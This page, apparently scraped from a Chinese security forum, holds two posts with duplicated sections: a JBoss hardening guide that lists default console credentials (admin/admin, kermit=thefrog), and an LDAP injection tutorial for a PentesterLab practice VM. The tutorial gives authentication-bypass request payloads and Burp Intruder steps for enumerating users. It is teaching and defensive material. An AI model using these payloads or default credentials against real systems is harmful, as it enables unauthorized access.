6、用户可以直接实施J2EE-EAR,而不是以前分别实施EJB- JAR和Web-WAR,非常方便。
7、Jboss支持集群。

 一、 账号口令
1   jmx-console 账号问题
默认情况访问 http://ip:port/jmx-console 需要输入用户名和密码。设置用户名密码限制账号,并进行加密存储。jboss 6.0 之前的版本 JMX 控制台的配置文件位置为:server/$config/deploy/jmx-console.war/WEB-INF/,jboss 6.0 及以上、7.0 以前的版本,JMX 控制台的配置文件位置为:common/deploy/jmx-console.war/WEB-INF/

修复建议:
1)修改 Jboss 目录下server/$config/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$config 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节
点的注释,在这里可以看到为登录配置了角色 JBossAdmin
2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在 server/$config/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置
补充操作说明
1)jmx-console-users.properties 文件中定义了一个用户名为 admin,的用户。
2)jmx-console-roles.properties 文件中默认为 admin 用户,定义了
JBossAdmin 和 HttpInvoker 这两个角色。
3)需要重启 JBoss

2  web-console 
不需要输入用户名和密码存在安全隐患。设置用户名密码限制账号,并进行加密存储

修复建议:

1)修改 Jboss 目录下server/$CONFIG/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$CONFIG 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节点的注释,在这里可以看到为登录配置了角色 JBossAdmin

2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在server/$CONFIG/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置


3  Webservice 
设置 webservice 控台用户名和密码进行保护。默认访问不需要输入用户名和密码。

加固建议:
1)启用密码保护
先修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/web.xml,将<security-constraint> </security-constraint>部分的注释取消然后修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/jboss-web.xml,将<security-domain> </security-domain>部分的注释取消
2)设置复杂口令
为 jbossws 设置复杂的口令,修改配置文件server/$CONFIG/conf/props/jbossws-users.properties将其中 kermit=thefrog 修改为 kermit=复杂的密码

备注事项
1)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。
2)需要重启 JBoss


4  Admin-console 
设置 admin-console 接口用户名和密码进行保护。默认用户名和密码为admin/admin.

修复建议:
修改$CONFIG/configuration/mgmt-users.properties 文件,将密码设置为复杂的口令。

备注事项
1)对于 JBoss 7.0 版本,可以直接检查下列文件中的明文口令:$CONFIG/configuration/mgmt-users.properties
2)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。


5  数据库连接用户和密码保护

加固建议:
1)在${jboss}/server/${server}/deploy/oracle-ds.xml配置文件中设置oracle密码<security-domain>EncryptDBPassword</security-domain>
2)在${jboss}/server/${server}/conf/login-config.xml配置文件中设置JNDI加密
<application-policy name="testDataSource"> --testDataSource 是连接池的名称
<authentication>
<login-module
code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name=“username”>apps</module-option> -- 用户名
<module-option name="password">3fb2b2b29f74131a</module-option>
--加密后的密码
<module-option name="managedConnectionFactoryName">
jboss.jca:service=LocalTxCM,name=testDataSource
</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。

6  服务账号管理
禁用超级用户启动 JBoss。

修复建议:
Unix 系统:
(1) 创建 jboss 组:groupadd Jboss
(2) 创建 jboss 用户并加入 jboss 组:useradd Jboss –g Jboss
(3) 以 Jboss 身份启动服务
Windows 系统:
(1) 新建一个 Jboss 用户
(2) 设置 Jboss 用户对 Jboss_home 的相关权限
(3) 在服务管理器 (service.msc) 中找到 Jboss 服务,右键选择属性,设置登
录身份为 Jboss 用户


二、日志安全

设备应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,使用的 IP 地址。

建议配置
编辑 server/$CONFIG/conf/ log4j.xml 配置文件,
<appender name="FILE-0"
class="org.jboss.logging.appender.DailyRollingFileAppender">
<errorHandler class="org.jboss.logging.util.OnlyOnceErrorHandler"/>
<param name="File" value="${jboss.server.log.dir}/server.log"/>
<param name="Append" value="true"/>
<param name="Threshold" value="ERROR"/>
<param name="DatePattern" value="'.'yyyy-MM-dd_HH"/>
<layout class="org.apache.log4j.PatternLayout">
<param  name="ConversionPattern"  value="%d  %-5p  [%t]
7
[%c{1}] %l %m%n"/>
</layout>
</appender>

备注事项
Threshold 是个全局的过滤器,它将把低于所设置的 level 的信息过滤不显示出来,优先级由高到低分为 OFF ,FATAL ,ERROR ,WARN ,INFO ,DEBUG ,ALL参数都以%开始后面不同的参数代表不同的格式化信息(参数按字母表顺序
列出):
%c 输出所属类的全名,可修改为 %C{Num} ,Num 类名输出的围 如:"org.apache.elathen.ClassName",%C{2}将输出 elathen.ClassName
% 输出日志时间其格式为 %d{yyyy-MM-dd HH:mm:ss,SSS},可指定格式如 %d{HH:mm:ss}
%l 输出日志事件发生位置,包括类目名、发生线程,在代码中的行数
%n 换行符
%m 输出代码指定信息,如 info(“message”),输出 message
%p 输出优先级,即 FATAL ,ERROR 等
%r 输出从启动到显示该 log 信息所耗费的毫秒数
%t 输出产生该日志事件的线程名

三、 服务安全

1 HTTPS协议
建议配置
(1)使用 JDK 自带的 keytool 工具生成一个证书
JAVA_HOME/bin/keytool -genkey –alias tomcat –keyalg RSA
-keystore /path/to/my/keystore
(2)修改 server/$CONFIG/deploy/jbossweb-tomcat55.sar/conf/server.xml 配置文件,更改为使用 https 方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector”
port=”8443” minProcessors=”5” maxprocessors=”100”
enableLookups=”true” acceptCount=”10” debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false”
keystoreFile=”/path/to/my/keystore” keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中 keystorePass 的值为生成 keystore 时输入的密码
(3)重新启动 Jboss 服务

2  更改默认端口

建议配置
1)修改 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,更改默认管理端口到 8100
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="1800"
disableUploadTimeout="true" URIEncoding="utf-8"/>
2)重启 JBOSS 服务

备注事项
Jboss 默认端口是 8080,通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093
在 windows 系统中: 1098、1099、4444、4445、8083 端口在/server/ehr_jsprd
/conf/jboss-service.xml 中
8080 端口在/server/ ehr_jsprd /deploy/jboss-web.deployer/server.xml 中
8093 端口在/server/ ehr_jsprd /deploy/jms/uil2-service.xml 中。

3  定时退出

建议配置
编辑 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,修改为 2000 秒
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="300"
disableUploadTimeout="true" URIEncoding="utf-8"/>

备注事项
设置时间为30 分钟,即 3000 秒。

4  状态页面管理
删除或屏蔽状态页面,防止服务器信息泄露

建议配置
方法一:删除后台页面
如果不需要使用后台页面,在将 server/$CONFIG/deploy/ROOT.war 文件夹下的所有文件备份到其它位置后删除文件夹下的所有文件。
方法二:修改配置文件

修改配置文件 server/$CONFIG/deploy/ROOT.war/WEB-INF/web.xml,将以下部分注释掉
<servlet>
<servlet-name>Status Servlet</servlet-name>
<servlet-class>org.jboss.web.tomcat.service.StatusServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Status Servlet</servlet-name>
<url-pattern>/status</url-pattern>
</servlet-mapping>

备注事项
需重新启动 Jboss 服务

5  错误页面重定向
Jboss 错误页面重定向

建议配置
(1)编辑 server/$CONFIGdeploy/jbossweb-tomcat55.sar/conf 文件:
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

(2)重新启动 Jboss 服务

四、 其他事项

1 认证授权与用户权限
在设备权限配置能力内,根据用户的业务需要,配置其所需的最小权限。

建议配置
编辑 /server/default/config/login-config.xml 配置文件,修改用户角色权限
<application-policy name = "jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag = "required">
<module-option
name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option
name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
jmx-console 角色浏览 jboss 的部署管理信息。Web-console 角色进行监控

2 禁止目录列出
建议配置

(1) 编辑 deploy/jbossweb-tomcat55.sar/conf 配置文件,
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
把 true 改成 false
(2)重新启动 Jboss 服务
 
说明文章转载:https://blog.csdn.net/qq_29277155/article/details/52810579
  查看全部
简述JBoss是一个运行EJB的J2EE应用服务器。它是开放源代码的项目,遵循最新的J2EE规范。从JBoss项目开始至今,它已经从一个EJB容器发展成为一个基于的J2EE的一个web 操作系统(operating system for web),它体现了J2EE规范中最新的技术。无论是学习还是应用,JBoss为我们提供了一个非常优秀的平台。

JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
JBoss具有如下优点:
1、JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布.但同时也有闭源的,开源和闭源流入流出的不是同一途径。
2、 JBoss需要的内存和硬盘空间比较小。
3、安装便捷:解压后,只需配置一些环境变量即可。
4、JBoss支持"热部署",部署BEAN时,只拷贝BEAN的JAR文件到部署路径下即可自动加载它,如果有改动,也会自动更新
5、JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能
6、用户可以直接实施J2EE-EAR,而不是以前分别实施EJB- JAR和Web-WAR,非常方便。
7、Jboss支持集群。

 一、 账号口令
1   jmx-console 账号问题
默认情况访问 http://ip:port/jmx-console 需要输入用户名和密码。设置用户名密码限制账号,并进行加密存储。jboss 6.0 之前的版本 JMX 控制台的配置文件位置为:server/$config/deploy/jmx-console.war/WEB-INF/,jboss 6.0 及以上、7.0 以前的版本,JMX 控制台的配置文件位置为:common/deploy/jmx-console.war/WEB-INF/

修复建议:
1)修改 Jboss 目录下server/$config/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$config 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节
点的注释,在这里可以看到为登录配置了角色 JBossAdmin
2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在 server/$config/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置
补充操作说明
1)jmx-console-users.properties 文件中定义了一个用户名为 admin,的用户。
2)jmx-console-roles.properties 文件中默认为 admin 用户,定义了
JBossAdmin 和 HttpInvoker 这两个角色。
3)需要重启 JBoss

2  web-console 
不需要输入用户名和密码存在安全隐患。设置用户名密码限制账号,并进行加密存储

修复建议:

1)修改 Jboss 目录下server/$CONFIG/deploy/jmx-console.war/WEB-INF/jboss-web.xml , 去 掉<security-domain>节点的注释。 其中$CONFIG 表示用户当前使用的 JBoss服务器配置路径。修改 jboss-web.xml 同级目录下的 web.xml 文件,去掉 < security-constraint>节点的注释,在这里可以看到为登录配置了角色 JBossAdmin

2)jmx-console 的安全域和运行角色 JBossAdmin 都是在 login-config.xml 中配 置 , 在 Jboss 的 安 装 目 录 server/$CONFIG/config 下 找 到 。 在login-config.xml 中查找 jmx-console 的 application-policy 可以看到登录的角色 、 用 户 等 信 息 分 别 在server/$CONFIG/config/props 的jmx-console-roles.properties 和 jmx-console-users.properties 文件中配置


3  Webservice 
设置 webservice 控台用户名和密码进行保护。默认访问不需要输入用户名和密码。

加固建议:
1)启用密码保护
先修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/web.xml,将<security-constraint> </security-constraint>部分的注释取消然后修改配置文件server/$CONFIG/deploy/jbossws-console.war/WEB-INF/jboss-web.xml,将<security-domain> </security-domain>部分的注释取消
2)设置复杂口令
为 jbossws 设置复杂的口令,修改配置文件server/$CONFIG/conf/props/jbossws-users.properties将其中 kermit=thefrog 修改为 kermit=复杂的密码

备注事项
1)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。
2)需要重启 JBoss


4  Admin-console 
设置 admin-console 接口用户名和密码进行保护。默认用户名和密码为admin/admin.

修复建议:
修改$CONFIG/configuration/mgmt-users.properties 文件,将密码设置为复杂的口令。

备注事项
1)对于 JBoss 7.0 版本,可以直接检查下列文件中的明文口令:$CONFIG/configuration/mgmt-users.properties
2)口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。


5  数据库连接用户和密码保护

加固建议:
1)在${jboss}/server/${server}/deploy/oracle-ds.xml配置文件中设置oracle密码<security-domain>EncryptDBPassword</security-domain>
2)在${jboss}/server/${server}/conf/login-config.xml配置文件中设置JNDI加密
<application-policy name="testDataSource"> --testDataSource 是连接池的名称
<authentication>
<login-module
code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
<module-option name=“username”>apps</module-option> -- 用户名
<module-option name="password">3fb2b2b29f74131a</module-option>
--加密后的密码
<module-option name="managedConnectionFactoryName">
jboss.jca:service=LocalTxCM,name=testDataSource
</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
口令长度至少 8 位,并包括数字、小写字母、大写字母和特殊符号 4 类中至少 3 类。

6  服务账号管理
禁用超级用户启动 JBoss。

修复建议:
Unix 系统:
(1) 创建 jboss 组:groupadd Jboss
(2) 创建 jboss 用户并加入 jboss 组:useradd Jboss –g Jboss
(3) 以 Jboss 身份启动服务
Windows 系统:
(1) 新建一个 Jboss 用户
(2) 设置 Jboss 用户对 Jboss_home 的相关权限
(3) 在服务管理器 (service.msc) 中找到 Jboss 服务,右键选择属性,设置登
录身份为 Jboss 用户


二、日志安全

设备应配置日志功能,对用户登录进行记录,记录内容包括用户登录使用的账号,登录是否成功,登录时间,使用的 IP 地址。

建议配置
编辑 server/$CONFIG/conf/ log4j.xml 配置文件,
<appender name="FILE-0"
class="org.jboss.logging.appender.DailyRollingFileAppender">
<errorHandler class="org.jboss.logging.util.OnlyOnceErrorHandler"/>
<param name="File" value="${jboss.server.log.dir}/server.log"/>
<param name="Append" value="true"/>
<param name="Threshold" value="ERROR"/>
<param name="DatePattern" value="'.'yyyy-MM-dd_HH"/>
<layout class="org.apache.log4j.PatternLayout">
<param  name="ConversionPattern"  value="%d  %-5p  [%t]
7
[%c{1}] %l %m%n"/>
</layout>
</appender>

备注事项
Threshold 是个全局的过滤器,它将把低于所设置的 level 的信息过滤不显示出来,优先级由高到低分为 OFF ,FATAL ,ERROR ,WARN ,INFO ,DEBUG ,ALL参数都以%开始后面不同的参数代表不同的格式化信息(参数按字母表顺序
列出):
%c 输出所属类的全名,可修改为 %C{Num} ,Num 类名输出的围 如:"org.apache.elathen.ClassName",%C{2}将输出 elathen.ClassName
% 输出日志时间其格式为 %d{yyyy-MM-dd HH:mm:ss,SSS},可指定格式如 %d{HH:mm:ss}
%l 输出日志事件发生位置,包括类目名、发生线程,在代码中的行数
%n 换行符
%m 输出代码指定信息,如 info(“message”),输出 message
%p 输出优先级,即 FATAL ,ERROR 等
%r 输出从启动到显示该 log 信息所耗费的毫秒数
%t 输出产生该日志事件的线程名

三、 服务安全

1 HTTPS协议
建议配置
(1)使用 JDK 自带的 keytool 工具生成一个证书
JAVA_HOME/bin/keytool -genkey –alias tomcat –keyalg RSA
-keystore /path/to/my/keystore
(2)修改 server/$CONFIG/deploy/jbossweb-tomcat55.sar/conf/server.xml 配置文件,更改为使用 https 方式,增加如下行:
Connector classname=”org.apache.catalina.http.HttpConnector”
port=”8443” minProcessors=”5” maxprocessors=”100”
enableLookups=”true” acceptCount=”10” debug=”0”
scheme=”https” secure=”true” >
Factory classname=”org.apache.catalina.SSLServerSocketFactory”
clientAuth=”false”
keystoreFile=”/path/to/my/keystore” keystorePass=”runway”
protocol=”TLS”/>
/Connector>
其中 keystorePass 的值为生成 keystore 时输入的密码
(3)重新启动 Jboss 服务

2  更改默认端口

建议配置
1)修改 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,更改默认管理端口到 8100
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="1800"
disableUploadTimeout="true" URIEncoding="utf-8"/>
2)重启 JBOSS 服务

备注事项
Jboss 默认端口是 8080,通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093
在 windows 系统中: 1098、1099、4444、4445、8083 端口在/server/ehr_jsprd
/conf/jboss-service.xml 中
8080 端口在/server/ ehr_jsprd /deploy/jboss-web.deployer/server.xml 中
8093 端口在/server/ ehr_jsprd /deploy/jms/uil2-service.xml 中。

3  定时退出

建议配置
编辑 server/$CONFIG/deploy/jbossweb-tomat55.sar/server.xml 配置文件,修改为 2000 秒
<Connector port="8100" address="${jboss.bind.address}"
maxThreads="250" strategy="ms" maxHttpHeaderSize="8192"
emptySessionPath="true"
enableLookups="false" redirectPort="8443" acceptCount="100"
connectionTimeout="300"
disableUploadTimeout="true" URIEncoding="utf-8"/>

备注事项
设置时间为30 分钟,即 3000 秒。

4  状态页面管理
删除或屏蔽状态页面,防止服务器信息泄露

建议配置
方法一:删除后台页面
如果不需要使用后台页面,在将 server/$CONFIG/deploy/ROOT.war 文件夹下的所有文件备份到其它位置后删除文件夹下的所有文件。
方法二:修改配置文件

修改配置文件 server/$CONFIG/deploy/ROOT.war/WEB-INF/web.xml,将以下部分注释掉
<servlet>
<servlet-name>Status Servlet</servlet-name>
<servlet-class>org.jboss.web.tomcat.service.StatusServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Status Servlet</servlet-name>
<url-pattern>/status</url-pattern>
</servlet-mapping>

备注事项
需重新启动 Jboss 服务

5  错误页面重定向
Jboss 错误页面重定向

建议配置
(1)编辑 server/$CONFIGdeploy/jbossweb-tomcat55.sar/conf 文件:
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

(2)重新启动 Jboss 服务

四、 其他事项

1 认证授权与用户权限
在设备权限配置能力内,根据用户的业务需要,配置其所需的最小权限。

建议配置
编辑 /server/default/config/login-config.xml 配置文件,修改用户角色权限
<application-policy name = "jmx-console">
<authentication>
<login-module code="org.jboss.security.auth.spi.UsersRolesLoginModule"
flag = "required">
<module-option
name="usersProperties">props/jmx-console-users.properties</module-option>
<module-option
name="rolesProperties">props/jmx-console-roles.properties</module-option>
</login-module>
</authentication>
</application-policy>

备注事项
jmx-console 角色浏览 jboss 的部署管理信息。Web-console 角色进行监控

2 禁止目录列出
建议配置

(1) 编辑 deploy/jbossweb-tomcat55.sar/conf 配置文件,
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
把 true 改成 false
(2)重新启动 Jboss 服务
 
说明文章转载:https://blog.csdn.net/qq_29277155/article/details/52810579
 

LDAP 注入(Injection)入门学习

ttgo2 发表了文章 • 0 个评论 • 225 次浏览 • 2018-08-22 18:05 • 来自相关话题

今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:LDAP的必备知识
LDAP注入成因
LDAP靶场环境
LDAP的靶场实例
LDAP 注入的防御一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念




dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。LDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1M4Hiys6sBh50lWSyGxoywg 密码:u32c
最终平台的效果:






四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 
 
请求报文:GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,[i]/[/i];q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
响应报文:





 我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句(特别提醒:其中% 00 在% 和00 之间没有空格,本编辑器如果没有空格,就显示不出来,特此强调)
(&(name=hacker)% 00(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:






GET /ldap/example2.php?name=h*))% 00(&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

4.3 遍历全部用户

攻击payload , (&(name=h)) % 00(passwd=hacker))  代表多个,因此我们可以a -z 进行匹配,burpsuit进行爆破遍历。具体截图如下:

step1: 发送到 intruder






step2:增加变量,具体见截图






step3,增加变量字典






step4 开始遍历

一共跑出来两个用户,admin 和 hacker 具体截图如下:







五 、修复建议
[]客户端发送给服务器的参数中包含了特殊字符,服务器代码端需要对变量进行检查和净化处理。[/][]圆括号、星号、逻辑操作符、关系运操作符在应用层都必须过滤。[/][]无论什么时候,只要可能,构造LDAP搜索过滤器的值在发送给LDAP服务器查询之前都要用应用层有效地值列表来核。[/] 查看全部
今天给大家分享一下LDAP注入的基础入门,如果那里有不准确的地方,希望各位大佬多多指教,本次主要是参考学习的资料为乌云drops 的r00tgrok 大牛, 文章链接为:http://www.secevery.com:4321/drops/tips-967.html

本次目的很简单就是ldap的入门学习,主要是让大家轻松入门,因此本主要从如下思路开始进行讲解,分别如下:
LDAP的必备知识
LDAP注入成因
LDAP靶场环境
LDAP的靶场实例
LDAP 注入的防御
一、 Ldap 注入的必备基础知识
 
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议, 主要是进行目录中的资源进行搜索和查询, 使用TCP 端口号为:389, 加密636(SSL)

1.1 ldap 结构

ldap 是一个树形目录结构,很像Linux的文件目录,我们先来看一下这个结构图,然后在介绍几个重要概念

ldap.png
dn(Distinguished Name) :一条记录的位置 ,比如上图,我们要想描述baby这个节点,描述如下
cn=baby,ou=marketing,ou=pepple,dc=mydomain,dc=org
dc(domain compoent) :一条记录所属区域 域名部分
ou (Organization Unit):一条记录所属组织
cn/uid(Common Name):一条记录的名字/ID
Entry:条目记录数
1.2 使用场景

LDAP服务是许多公司和机构日常操作的关键组成部分,目录服务如微软的Microsoft Active Directory,Novell E-Directory和RedHat Directory服务都基于LDAP协议。不过也有其他的应用和服务会利用LDAP服务,简单是说Windows下在Server 服务器上常用AD,在Linux系统常用的服务是Openldap。


二、 Ldap 注入的成因

LDAP 注入跟SQL注入有相似的地方,想法是利用用户引入的参数生成LDAP查询。如果安全的Web应用在构造和将查询发送给服务器前应该净化用户传入的参数。但是在有漏洞的环境中,这些参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。

2.1 LDAP 的过滤器

LDAP 注入的一个重要原因就是过滤器的问题,因此我们需要花点时间了解一下。LDAP 在对目录内容进行搜索的时候,就需要过滤器来进行配置,过滤器结构概况如下:
Fileter = (filtercomp)

Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value

所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)可用于构造它们。特殊符“*”可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:

(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 

三、 Ldap 的靶场环境

这里环境测试靶场使用的是Pentester Lab , 文件类型为ios文件,可以在虚拟机直接运行进入环境,非常的简单
目前官网在这个版本停止了发布,这里为了方便大家学习可以直接从百度网盘下载:链接:https://pan.baidu.com/s/1M4Hiys6sBh50lWSyGxoywg 密码:u32c
最终平台的效果:

QQ截图20180816110003.png


四、 Ldap 注入实例

4.1 实例分析

我们先来看一下Ldap 下面的exampl2 学习实例, 进入之后发现提示的信息为“AUTHENTICATED as hacker” 说着我们已经认证通过了。也可以认为已经登录授权了
看一下我们提交的数据,使用burpsuit 进行查看,来看一下request的包,请求两个变量为name=hacker, passowrd = hacker 
 
请求报文:
GET /ldap/example2.php?name=hacker&password=hacker HTTP/1.1
Host: 192.168.3.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,[i]/[/i];q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1

响应报文:

QQ截图20180823094728.png

 我们来分析一下ldap 后面执行的查询语句,大概如下:
(&(name=hacker)(passwd=hacker)) ,其中& 为and 操作,我们可以控制的变量范围为(&(name=hacker)(passwd=hacker))  黑色加粗的“hacker”


4.2 构造测试语句

构造攻击语句(特别提醒:其中% 00 在% 和00 之间没有空格,本编辑器如果没有空格,就显示不出来,特此强调)
(&(name=hacker)% 00(passwd=hacker))  只用截断后面的部分,然后(passwd=hacker)) 就不会再执行了, 前面选择器(&(name=hacker))永远为真,使用burpsuit 操作截图如下:

QQ截图20180816112138.png


GET /ldap/example2.php?name=h*))% 00(&password=hacker HTTP/1.1
Host: 192.168.3.146
